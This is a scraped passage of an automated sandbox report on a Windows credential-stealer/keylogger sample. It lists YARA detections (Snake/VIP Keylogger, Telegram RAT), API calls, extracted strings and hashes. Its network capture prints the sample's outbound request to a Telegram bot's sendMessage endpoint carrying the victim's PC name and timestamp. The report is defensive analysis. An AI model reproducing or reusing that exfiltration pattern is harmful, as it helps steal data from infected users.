2024-11-26 08:50:49 UTC	859	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:49 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 574958 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kc8eq%2FQJmBh0b7v%2BpnT665PZsOQ5Ku%2BmhqExUXdxku1E6LA%2F%2BlvSOfiOdIrxxjzReQZDDlAIEpNCo4FGO3UUn0aN0zDU80ThMxiqOxwik4ymKrRfQEo%2FDCOcdIcKc0u%2FJJHWlzkS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e88a2154ae478d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2029&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1435594&cwnd=227&unsent_bytes=0&cid=085124889d2b2d3e&ts=450&x=0"
2024-11-26 08:50:49 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	149.154.167.220	443	7444	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:50:55 UTC	334	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2026/11/2024%20/%2003:50:51%0D%0ACountry%20Name:%20%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-26 08:50:56 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 08:50:55 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 08:50:56 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Analysis Process: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exePID: 7444, Parent PID: 2580

General

Target ID:	0
Start time:	03:50:21
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe"
Imagebase:	0x400000
File size:	207'872 bytes
MD5 hash:	856C7834AB6127372257CCD6A895B1C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exePID: 7444, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	51.3%
Signature Coverage:	22%
Total number of Nodes:	396
Total number of Limit Nodes:	34

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

0, xrefs: 00401BBD
v, xrefs: 0040212C
W, xrefs: 004020E6
{, xrefs: 0040205B
x, xrefs: 00402088
{, xrefs: 00401E3C
4, xrefs: 00402074
{, xrefs: 00401B4B
!, xrefs: 00401B1E
', xrefs: 00402006
h, xrefs: 00401A6F
8, xrefs: 00401BA9
E, xrefs: 00401E0F
___, xrefs: 0040227D
W, xrefs: 00401B23
{, xrefs: 0040211D
o, xrefs: 00402159
*, xrefs: 00401A1F
", xrefs: 00401B0F
W, xrefs: 00401B14
W, xrefs: 00402033
x, xrefs: 00401E69
*, xrefs: 004020E1
%, xrefs: 004020FA
V, xrefs: 00402038
., xrefs: 0040201F
:, xrefs: 00401B28
4, xrefs: 00402136
), xrefs: 0040202E
!, xrefs: 004020CF
!, xrefs: 0040201A
[, xrefs: 00401B37
v, xrefs: 00401B5A
4, xrefs: 00401B64
v, xrefs: 0040206A
o, xrefs: 00402097
[, xrefs: 00402047
V, xrefs: 00401E19
', xrefs: 00401AF6
6, xrefs: 004020C5
D, xrefs: 00401DFB
., xrefs: 00401B0A
x, xrefs: 00401B78
x, xrefs: 0040214A
5, xrefs: 00402109
_._, xrefs: 00402257
o, xrefs: 00401B8D
U, xrefs: 004020F5
v, xrefs: 00401E4B

Memory Dump Source

Source File: 00000000.00000002.3548712378.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3548694901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548735954.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548805275.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: f33ec6517a8e462eea4e7ce496cce69d106849ef0d44fd50fc6c48668fb332a6
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: f33ec6517a8e462eea4e7ce496cce69d106849ef0d44fd50fc6c48668fb332a6
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 02102EF8 Relevance: 8.7, Strings: 6, Instructions: 1240COMMON

Download Yara Rule

Strings

Xhq, xrefs: 02102FF0
Xhq, xrefs: 0210306F
Xhq, xrefs: 021041D5
Xhq, xrefs: 021041FE
Xhq, xrefs: 02102FB6
Xhq, xrefs: 021030BC

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: Xhq$Xhq$Xhq$Xhq$Xhq$Xhq
API String ID: 0-2119377026
Opcode ID: 8cdb045a62119e2660e0a7f090488945cf8f569aa68dd2c590b8202584204879
Instruction ID: 7b8b9fb749b20fc115b8f65a5b83fc4dfada040bdc9947e7bf1000494c03c2fb
Opcode Fuzzy Hash: 8cdb045a62119e2660e0a7f090488945cf8f569aa68dd2c590b8202584204879
Instruction Fuzzy Hash: 6AB2233164E3C69FCB578FB498E0299BFB36E8720C71C49D7C4E0AE457D2699889C790

Function 021085C0 Relevance: 6.7, Strings: 5, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,hq, xrefs: 02108882
(odq, xrefs: 0210880A
(odq, xrefs: 02108818
,hq, xrefs: 02108890
(odq, xrefs: 02108B35

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: (odq$(odq$(odq$,hq$,hq
API String ID: 0-2216594193
Opcode ID: b062923cd496206ce806d21369bcc8c0027c17225a12f55319942efdffeb5639
Instruction ID: 6e053e275372090873cab8c3e9f262cdee948c4e2ee1507da3416f07544383a8
Opcode Fuzzy Hash: b062923cd496206ce806d21369bcc8c0027c17225a12f55319942efdffeb5639
Instruction Fuzzy Hash: F1127070A44215DFCB14DFA9C898AAEBBF2FF89304F168465E415AB2A1D7B0DC41CF51

Function 0210CDB8 Relevance: 6.6, Strings: 5, Instructions: 350
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHdq, xrefs: 0210D1DA
0oAp, xrefs: 0210CFF5
LjAp, xrefs: 0210D178
LjAp, xrefs: 0210D162
PHdq, xrefs: 0210D1EB

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: f620372ba34d40a9ce082ff36c54fec548754459398e8793e20e9f48642044cf
Instruction ID: 8e8ee9fbbd3ff83bcf8b8c11dc44e4ad3b5f540e49d3191237177207ec1a57b4
Opcode Fuzzy Hash: f620372ba34d40a9ce082ff36c54fec548754459398e8793e20e9f48642044cf
Instruction Fuzzy Hash: 68E1FC74A40218CFDB14CFA9C494A9DBBF1FF89314F158159E819AB3A5DB70AC41CF91

Function 02105868 Relevance: 6.4, Strings: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 021058F5
PHdq, xrefs: 02105ADB
LjAp, xrefs: 02105A63
LjAp, xrefs: 02105A79
PHdq, xrefs: 02105AEC

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: 9c2f759c67a0afb4f5bdda30b1e6165cacfe33253d150da97f76772ad79ebfb2
Instruction ID: 785d469a0c75ee59c61b636124faa5f1f1e4d8ef2dbe25943ef2e6d91189d3e4
Opcode Fuzzy Hash: 9c2f759c67a0afb4f5bdda30b1e6165cacfe33253d150da97f76772ad79ebfb2
Instruction Fuzzy Hash: 7A91D474E00218DFDB14DFAAD894A9DBBF2BF89300F14D069D809AB365DB709985CF50

Function 0210DAE0 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 0210DCD8
PHdq, xrefs: 0210DD4B
0oAp, xrefs: 0210DB55
PHdq, xrefs: 0210DD3A
LjAp, xrefs: 0210DCC2

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: 85e143f65e15806c66fc5301bac4d7cf34da3f521838b3d8319d041c5c4921de
Instruction ID: 7c47fde6740f96d122469abfd44f1941eb3666ec7a4d35521804205030503f9e
Opcode Fuzzy Hash: 85e143f65e15806c66fc5301bac4d7cf34da3f521838b3d8319d041c5c4921de
Instruction Fuzzy Hash: AC81A0B4E40218CFDB18DFA9D994A9DBBF2BF89300F14D069E419AB365DB749981CF10

Function 0210D808 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHdq, xrefs: 0210DA62
0oAp, xrefs: 0210D87D
LjAp, xrefs: 0210D9EA
LjAp, xrefs: 0210DA00
PHdq, xrefs: 0210DA73

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: 7bb26a3778846dfedf6737f845dd707949bbafcade0ccc18111536aa9d16e168
Instruction ID: c5108b57081fa4074c01ba41963e947765555789bcfe9fae1c791b53a21f6eb9
Opcode Fuzzy Hash: 7bb26a3778846dfedf6737f845dd707949bbafcade0ccc18111536aa9d16e168
Instruction Fuzzy Hash: 9881AF74E40218CFDB18DFAAD994A9DBBF2FF88300F14D069E419AB265DB709981CF50

Function 02106150 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 021061C5
PHdq, xrefs: 021063AB
PHdq, xrefs: 021063BC
LjAp, xrefs: 02106349
LjAp, xrefs: 02106333

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: a78e9249a19634f7ce3840d15857969b4aa9d650152c4933ab77da2d3b610b62
Instruction ID: d6c708f0ffd7775b310dbb6f9fccacceb8afd692c7281b79b2d33829d6b8ea1a
Opcode Fuzzy Hash: a78e9249a19634f7ce3840d15857969b4aa9d650152c4933ab77da2d3b610b62
Instruction Fuzzy Hash: AB81B374E40218CFDB14DFAAC984A9DBBF2BF89310F14D069D819AB3A5DB709945CF50

Function 0210D530 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHdq, xrefs: 0210D78A
LjAp, xrefs: 0210D712
LjAp, xrefs: 0210D728
0oAp, xrefs: 0210D5A5
PHdq, xrefs: 0210D79B

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: b7da80d0609e54d2692eed89d61b701ca9af748b3ea2853adeca24dfc7fec1be
Instruction ID: 960ee22830b69d2191cec4b277ea8e37d3399a951823a54aefe3a2ef5f319d13
Opcode Fuzzy Hash: b7da80d0609e54d2692eed89d61b701ca9af748b3ea2853adeca24dfc7fec1be
Instruction Fuzzy Hash: 4B81B274E40218CFDB18DFA9D884A9DBBF2FF88304F14D069E819AB265DB70A941CF50

Function 0210D25A Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 0210D2CD
LjAp, xrefs: 0210D43A
LjAp, xrefs: 0210D450
PHdq, xrefs: 0210D4B2
PHdq, xrefs: 0210D4C3

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: 97cb5bdab551d9dbe31d5012d1a160085d4bf1fbcb3586315ee3c480e122295e
Instruction ID: de2d61250c81a06a7dc1a16049ebcc87295caa365bd22d99c1626ed2177bdcb0
Opcode Fuzzy Hash: 97cb5bdab551d9dbe31d5012d1a160085d4bf1fbcb3586315ee3c480e122295e
Instruction Fuzzy Hash: 9A819274E40218DFDB18DFAAD994A9DBBF2FF88300F14D069D419AB265DB74A981CF10

Function 02105E79 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHdq, xrefs: 021060E4
LjAp, xrefs: 02106071
0oAp, xrefs: 02105EED
PHdq, xrefs: 021060D3
LjAp, xrefs: 0210605B

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PHdq$PHdq
API String ID: 0-1896939485
Opcode ID: 13cd07690e79c95d3cc8adc9715b716129e1d0585fe26cd814c6eb2e8d92312e
Instruction ID: b55b7d52d003fa765ecd492b8ea54d373014aa57d6ef95ab93b94d23d4074a2e
Opcode Fuzzy Hash: 13cd07690e79c95d3cc8adc9715b716129e1d0585fe26cd814c6eb2e8d92312e
Instruction Fuzzy Hash: 5B81A274E40218DFDB18DFAAC984A9DBBF2BF88300F14D069E819AB365DB749945CF10

Function 05EC52A8 Relevance: 4.3, Strings: 1, Instructions: 3071COMMON

Download Yara Rule

Strings

N, xrefs: 05EC868B

Memory Dump Source

Source File: 00000000.00000002.3552946020.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: f8311ab7ae86e6c780f85ebbc5fd290b7d1cca9d24c3d49e7bf0479d3f58c026
Instruction ID: b2c788e962b0f98b97f69a6584fb47ed2bb47e817573b8f7be30b07566043176
Opcode Fuzzy Hash: f8311ab7ae86e6c780f85ebbc5fd290b7d1cca9d24c3d49e7bf0479d3f58c026
Instruction Fuzzy Hash: EC73F631D107598EDB10EF68C954AA9FBB1FF99300F11D6DAE44867221EB70AAC5CF81

Function 02107F88 Relevance: 4.3, Strings: 3, Instructions: 541COMMON

Download Yara Rule

Strings

(odq, xrefs: 021084CE
Hhq, xrefs: 0210839A
\;dq, xrefs: 02107F46

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: (odq$Hhq$\;dq
API String ID: 0-3294170753
Opcode ID: d8fe132f3f0144991c0578b2020985c6bbcf02aceff9563bb421dfd9ff284ecb
Instruction ID: ad195f7ad6b768654dd6827c8fbccc9c96d3f4191bfe90c5ce323ce63bef1e00
Opcode Fuzzy Hash: d8fe132f3f0144991c0578b2020985c6bbcf02aceff9563bb421dfd9ff284ecb
Instruction Fuzzy Hash: 93226D74A402188FDB14DFA9C894BAEBBF2BF88304F158569E519DB395DB70DC42CB90

Function 0210CF80 Relevance: 3.9, Strings: 3, Instructions: 154COMMON

Download Yara Rule

Strings

PHdq, xrefs: 0210D1DA
0oAp, xrefs: 0210CFF5
PHdq, xrefs: 0210D1EB

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 0oAp$PHdq$PHdq
API String ID: 0-3494355829
Opcode ID: 84a7f170914f2b80a74045ffd620c1dcbbb7f7597ba3236d8134c83f1163ac81
Instruction ID: 5f70c5627b1c57c2028ac730aca62f1325b8b8662886566f941b7208a8cc70f6
Opcode Fuzzy Hash: 84a7f170914f2b80a74045ffd620c1dcbbb7f7597ba3236d8134c83f1163ac81
Instruction Fuzzy Hash: 7561C574E402188FDB18DFAAD994A9DFBF2BF88310F14D069D819AB365DB745842CF50

Function 05EC9EA8 Relevance: 3.5, Strings: 1, Instructions: 2262COMMON

Download Yara Rule

Strings

K, xrefs: 05ECC57E

Memory Dump Source

Source File: 00000000.00000002.3552946020.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: d3ccbb9cabb43b98a3423fbb412dcf187b9f33c157acea1eb024070114f75192
Instruction ID: ef2a21441768ce3fecb9604bdec286460a833118d15f224898647cb537e6cfb4
Opcode Fuzzy Hash: d3ccbb9cabb43b98a3423fbb412dcf187b9f33c157acea1eb024070114f75192
Instruction Fuzzy Hash: 2533E770C146198EDB11EF68C954AADFBB1FF99300F50D6DAD4486B221EB70AAC5CF81

Function 0210B278 Relevance: 3.4, Strings: 2, Instructions: 910COMMON

Download Yara Rule

Strings

4'dq, xrefs: 0210BD03
(odq, xrefs: 0210B708

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: (odq$4'dq
API String ID: 0-972384718
Opcode ID: 79872cba418d81e57237cf23683b0fab7b9aea6a3c777471255199cc9a63e7f8
